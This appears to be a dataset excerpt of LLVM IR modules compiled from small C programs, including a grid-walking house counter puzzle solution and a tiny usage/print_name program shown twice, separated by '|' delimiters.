attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpopvmcj5v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [32 x i8] c"Usage: DasantaY01 <input file>\0A\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@stdout = dso_local global i32 0, align 4
@.str.2 = private unnamed_addr constant [35 x i8] c"%i houses got atleast one present\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca [256 x [256 x i32]], align 16
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%16 = load i32, ptr %4, align 4
%17 = icmp ne i32 %16, 2
br i1 %17, label %18, label %21
18: ; preds = %2
%19 = load i32, ptr @stderr, align 4
%20 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %19, ptr noundef @.str)
store i32 1, ptr %3, align 4
br label %174
21: ; preds = %2
%22 = load ptr, ptr %5, align 8
%23 = getelementptr inbounds ptr, ptr %22, i64 1
%24 = load ptr, ptr %23, align 8
%25 = call ptr @fopen(ptr noundef %24, ptr noundef @.str.1)
store ptr %25, ptr %6, align 8
call void @llvm.memset.p0.i64(ptr align 16 %7, i8 0, i64 262144, i1 false)
store i32 127, ptr %8, align 4
store i32 127, ptr %9, align 4
store i32 127, ptr %10, align 4
store i32 127, ptr %11, align 4
%26 = load i32, ptr %8, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %27
%29 = load i32, ptr %9, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds [256 x i32], ptr %28, i64 0, i64 %30
%32 = load i32, ptr %31, align 4
%33 = add nsw i32 %32, 2
store i32 %33, ptr %31, align 4
store i32 0, ptr %12, align 4
%34 = load ptr, ptr %6, align 8
%35 = call i32 @feof(ptr noundef %34)
%36 = icmp ne i32 %35, 0
%37 = xor i1 %36, true
br i1 %37, label %.lr.ph, label %138
.lr.ph: ; preds = %21
br label %38
38: ; preds = %.lr.ph, %131
%39 = load i32, ptr %12, align 4
%40 = srem i32 %39, 2
%41 = icmp ne i32 %40, 0
br i1 %41, label %42, label %86
42: ; preds = %38
%43 = load ptr, ptr %6, align 8
%44 = call i32 @fgetc(ptr noundef %43)
switch i32 %44, label %85 [
i32 94, label %45
i32 118, label %55
i32 60, label %65
i32 62, label %75
]
45: ; preds = %42
%46 = load i32, ptr %8, align 4
%47 = add nsw i32 %46, 1
store i32 %47, ptr %8, align 4
%48 = sext i32 %47 to i64
%49 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %48
%50 = load i32, ptr %9, align 4
%51 = sext i32 %50 to i64
%52 = getelementptr inbounds [256 x i32], ptr %49, i64 0, i64 %51
%53 = load i32, ptr %52, align 4
%54 = add nsw i32 %53, 1
store i32 %54, ptr %52, align 4
br label %85
55: ; preds = %42
%56 = load i32, ptr %8, align 4
%57 = add nsw i32 %56, -1
store i32 %57, ptr %8, align 4
%58 = sext i32 %57 to i64
%59 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %58
%60 = load i32, ptr %9, align 4
%61 = sext i32 %60 to i64
%62 = getelementptr inbounds [256 x i32], ptr %59, i64 0, i64 %61
%63 = load i32, ptr %62, align 4
%64 = add nsw i32 %63, 1
store i32 %64, ptr %62, align 4
br label %85
65: ; preds = %42
%66 = load i32, ptr %8, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %67
%69 = load i32, ptr %9, align 4
%70 = add nsw i32 %69, -1
store i32 %70, ptr %9, align 4
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds [256 x i32], ptr %68, i64 0, i64 %71
%73 = load i32, ptr %72, align 4
%74 = add nsw i32 %73, 1
store i32 %74, ptr %72, align 4
br label %85
75: ; preds = %42
%76 = load i32, ptr %8, align 4
%77 = sext i32 %76 to i64
%78 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %77
%79 = load i32, ptr %9, align 4
%80 = add nsw i32 %79, 1
store i32 %80, ptr %9, align 4
%81 = sext i32 %80 to i64
%82 = getelementptr inbounds [256 x i32], ptr %78, i64 0, i64 %81
%83 = load i32, ptr %82, align 4
%84 = add nsw i32 %83, 1
store i32 %84, ptr %82, align 4
br label %85
85: ; preds = %75, %65, %55, %45, %42
br label %130
86: ; preds = %38
%87 = load ptr, ptr %6, align 8
%88 = call i32 @fgetc(ptr noundef %87)
switch i32 %88, label %129 [
i32 94, label %89
i32 118, label %99
i32 60, label %109
i32 62, label %119
]
89: ; preds = %86
%90 = load i32, ptr %10, align 4
%91 = add nsw i32 %90, 1
store i32 %91, ptr %10, align 4
%92 = sext i32 %91 to i64
%93 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %92
%94 = load i32, ptr %11, align 4
%95 = sext i32 %94 to i64
%96 = getelementptr inbounds [256 x i32], ptr %93, i64 0, i64 %95
%97 = load i32, ptr %96, align 4
%98 = add nsw i32 %97, 1
store i32 %98, ptr %96, align 4
br label %129
99: ; preds = %86
%100 = load i32, ptr %10, align 4
%101 = add nsw i32 %100, -1
store i32 %101, ptr %10, align 4
%102 = sext i32 %101 to i64
%103 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %102
%104 = load i32, ptr %11, align 4
%105 = sext i32 %104 to i64
%106 = getelementptr inbounds [256 x i32], ptr %103, i64 0, i64 %105
%107 = load i32, ptr %106, align 4
%108 = add nsw i32 %107, 1
store i32 %108, ptr %106, align 4
br label %129
109: ; preds = %86
%110 = load i32, ptr %10, align 4
%111 = sext i32 %110 to i64
%112 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %111
%113 = load i32, ptr %11, align 4
%114 = add nsw i32 %113, -1
store i32 %114, ptr %11, align 4
%115 = sext i32 %114 to i64
%116 = getelementptr inbounds [256 x i32], ptr %112, i64 0, i64 %115
%117 = load i32, ptr %116, align 4
%118 = add nsw i32 %117, 1
store i32 %118, ptr %116, align 4
br label %129
119: ; preds = %86
%120 = load i32, ptr %10, align 4
%121 = sext i32 %120 to i64
%122 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %121
%123 = load i32, ptr %11, align 4
%124 = add nsw i32 %123, 1
store i32 %124, ptr %11, align 4
%125 = sext i32 %124 to i64
%126 = getelementptr inbounds [256 x i32], ptr %122, i64 0, i64 %125
%127 = load i32, ptr %126, align 4
%128 = add nsw i32 %127, 1
store i32 %128, ptr %126, align 4
br label %129
129: ; preds = %119, %109, %99, %89, %86
br label %130
130: ; preds = %129, %85
br label %131
131: ; preds = %130
%132 = load i32, ptr %12, align 4
%133 = add nsw i32 %132, 1
store i32 %133, ptr %12, align 4
%134 = load ptr, ptr %6, align 8
%135 = call i32 @feof(ptr noundef %134)
%136 = icmp ne i32 %135, 0
%137 = xor i1 %136, true
br i1 %137, label %38, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %131
br label %138
138: ; preds = %._crit_edge, %21
store i32 0, ptr %13, align 4
store i32 0, ptr %14, align 4
%139 = load i32, ptr %14, align 4
%140 = icmp slt i32 %139, 256
br i1 %140, label %.lr.ph5, label %168
.lr.ph5: ; preds = %138
br label %141
141: ; preds = %.lr.ph5, %163
store i32 0, ptr %15, align 4
%142 = load i32, ptr %15, align 4
%143 = icmp slt i32 %142, 256
br i1 %143, label %.lr.ph2, label %162
.lr.ph2: ; preds = %141
br label %144
144: ; preds = %.lr.ph2, %157
%145 = load i32, ptr %14, align 4
%146 = sext i32 %145 to i64
%147 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %146
%148 = load i32, ptr %15, align 4
%149 = sext i32 %148 to i64
%150 = getelementptr inbounds [256 x i32], ptr %147, i64 0, i64 %149
%151 = load i32, ptr %150, align 4
%152 = icmp ne i32 %151, 0
br i1 %152, label %153, label %156
153: ; preds = %144
%154 = load i32, ptr %13, align 4
%155 = add nsw i32 %154, 1
store i32 %155, ptr %13, align 4
br label %156
156: ; preds = %153, %144
br label %157
157: ; preds = %156
%158 = load i32, ptr %15, align 4
%159 = add nsw i32 %158, 1
store i32 %159, ptr %15, align 4
%160 = load i32, ptr %15, align 4
%161 = icmp slt i32 %160, 256
br i1 %161, label %144, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %157
br label %162
162: ; preds = %._crit_edge3, %141
br label %163
163: ; preds = %162
%164 = load i32, ptr %14, align 4
%165 = add nsw i32 %164, 1
store i32 %165, ptr %14, align 4
%166 = load i32, ptr %14, align 4
%167 = icmp slt i32 %166, 256
br i1 %167, label %141, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %163
br label %168
168: ; preds = %._crit_edge6, %138
%169 = load i32, ptr @stdout, align 4
%170 = load i32, ptr %13, align 4
%171 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %169, ptr noundef @.str.2, i32 noundef %170)
%172 = load ptr, ptr %6, align 8
%173 = call i32 @fclose(ptr noundef %172)
store i32 0, ptr %3, align 4
br label %174
174: ; preds = %168, %18
%175 = load i32, ptr %3, align 4
ret i32 %175
}
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
declare i32 @feof(ptr noundef) #1
declare i32 @fgetc(ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmp1y73r4ua.c'
source_filename = "/tmp/tmp1y73r4ua.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [18 x i8] c"usage:\0A%s string\0A\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load i32, ptr %4, align 4
%7 = icmp ne i32 %6, 2
br i1 %7, label %8, label %14
8: ; preds = %2
%9 = load ptr, ptr %5, align 8
%10 = getelementptr inbounds ptr, ptr %9, i64 0
%11 = load ptr, ptr %10, align 8
%12 = call i32 @printf(ptr noundef @.str, ptr noundef %11)
%13 = load i32, ptr @EXIT_FAILURE, align 4
store i32 %13, ptr %3, align 4
br label %20
14: ; preds = %2
%15 = load ptr, ptr %5, align 8
%16 = getelementptr inbounds ptr, ptr %15, i64 1
%17 = load ptr, ptr %16, align 8
%18 = call i32 @print_name(ptr noundef %17)
%19 = load i32, ptr @EXIT_SUCCESS, align 4
store i32 %19, ptr %3, align 4
br label %20
20: ; preds = %14, %8
%21 = load i32, ptr %3, align 4
ret i32 %21
}
declare i32 @printf(ptr noundef, ptr noundef) #1
declare i32 @print_name(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1y73r4ua.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [18 x i8] c"usage:\0A%s string\0A\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load i32, ptr %4, align 4
%7 = icmp ne i32 %6, 2
br i1 %7, label %8, label %14
8: ; preds = %2
%9 = load ptr, ptr %5, align 8
%10 = getelementptr inbounds ptr, ptr %9, i64 0
%11 = load ptr, ptr %10, align 8
%12 = call i32 @printf(ptr noundef @.str, ptr noundef %11)
%13 = load i32, ptr @EXIT_FAILURE, align 4
store i32 %13, ptr %3, align 4
br label %20
14: ; preds = %2
%15 = load ptr, ptr %5, align 8
%16 = getelementptr inbounds ptr, ptr %15, i64 1
%17 = load ptr, ptr %16, align 8
%18 = call i32 @print_name(ptr noundef %17)
%19 = load i32, ptr @EXIT_SUCCESS, align 4
store i32 %19, ptr %3, align 4
br label %20
20: ; preds = %14, %8
%21 = load i32, ptr %3, align 4
ret i32 %21
}
declare i32 @printf(ptr noundef, ptr noundef) #1
declare i32 @print_name(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.